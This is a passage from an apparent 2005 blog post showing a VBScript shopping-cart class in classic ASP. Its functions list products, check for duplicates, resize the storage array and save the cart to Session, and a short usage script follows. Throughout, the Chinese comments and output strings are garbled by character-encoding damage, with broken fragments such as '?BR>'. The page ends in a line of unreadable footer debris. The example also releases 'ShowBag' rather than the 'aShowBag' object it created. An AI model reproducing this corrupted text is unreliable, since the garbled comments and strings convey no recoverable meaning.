 '---------------------------------------------
 
 '得到商品的某信息列?Q?号隔开
 Public Function GetProList(n)
 dim result
  GetPro
  if isnull(ProSpace) then
   result = null
  else
   for i =0 to ubound(ProSpace)
    if i = 0 then
     result = ProSpace(i,n)
    else
     result =result&","&ProSpace(i,n)
    end if
  next
  end if 
  KillMe
 GetProList = result
 End Function

'==================================================================

 

'=================================================================
'                       U有?BR>'=================================================================
 '商品是否已l存?BR> '??q回  true
 '不存在返?false
 Private Function CheckProExists(ProID)
 MyPrint "商品是否存?<br>"
 dim result
  result = false

  for i = 0 to  Ubound(ProSpace)
   if Cint(ProSpace(i,0)) = Cint(ProID) then
    result = true
   End if
  next
 CheckProExists = result
 End Function
 '------------------------------------------------

 '作用:
 '开辟存攄品的I间
 'q回?
 '新开大小q回 false
 '重构I间大小q回 true
 Private Function CreateSpace()
 dim result
 MyPrint "开始开辟空?..<br>"
  'ReSize: I间大小
  dim ReSize

  '计算需要空间大?BR>  if isarray(ProSpace) then '已经有商品了
   MyPrint "已有I间,需要重构空间大?<br>"
   ReSize = UBound(ProSpace)+1
   MyRedim ProSpace,ReSize
   result  = true
   MyPrint "重构了空间大?+1...<br>"
  else   
   redim ProSpace(0,ItemsCout)
   result  = false
   MyPrint "没有I间,开?...<br>"
  End if  
 CreateSpace = result
 End Function
 '----------------------------------------------
 
 '重新构造一个数l?BR> private Function MyRedim(byRef aArray,ByVal Size)
  MyPrint "开始重构空间大?..<br>"
   redim TmpArray(Size,ItemsCout)
   
   '备䆾信息
   for i = 0 to Ubound(aArray)
    for j =0 to ItemsCout
     TmpArray(i,j) = aArray(i,j)
    next
   next
   
   redim aArray(Size,ItemsCout)

   'q原信息
   for j = 0 to ubound(TmpArray)
    for k =0 to ItemsCout
    aArray(j,k) = TmpArray(j,k)
    next
   next

 End Function
 '-----------------------------------------------


 '保存商品
 Private Function SavePro
  Session("ProID") = ProSpace
  MyPrint "保存购物?...<br>" 
  KillMe
  MyPrint "释放了空?.<br>"
 End Function
 '----------------------------------------------
 
 '从Session中取出商?BR> Private Function GetPro
  ProSpace = Session("ProID")
  MyPrint "Session中的商品攑օ了购物R....<br>"
 End Function
 '----------------------------------------------
 

 '释放I间
 private Function KillMe
  ProSpace = null
 End Function
 '----------------------------------------------
End Class
%>

使用:

 

<!--#include file="CastClass.asp"-->
<%

'昄操作q程
Function MyPrint(str)
 Response.write str
End Function

dim aShowBag,ProData,ProList


ProData = Array(1,"ProName","ProPrice","ProNum")


set aShowBag = new ShopBag

 state = aShowBag.PutAPro(ProData) '攑օ一个商?BR> ProData= null
 aShowBag.GetAllPro ProList

 if state then
  Response.Write "攑օ一个商?lt;br>"
 else
  Response.Write "商品已经存在<br>"
 end if
Set ShowBag = nothing

if isarray(ProList) then
 for i = 0 to ubound(ProList)
  for j =0 to 3
   Response.Write ProList(i,j)&"=="
  next
  Response.Write "<br>============<br>"
 next
else
Response.write "没有商品"
End If

%>



jacky wu 2005-07-12 12:56 发表评论
]]>
վ֩ģ壺 | ϼ| ԭ| ²| Զ| | | | Ļ| | | | | ˳| | | | | ·| ء| Ӫ| | | ɽ| | | | ְ| ͨμ| | | | | | ƽ| | °Ͷ| | ţ| | |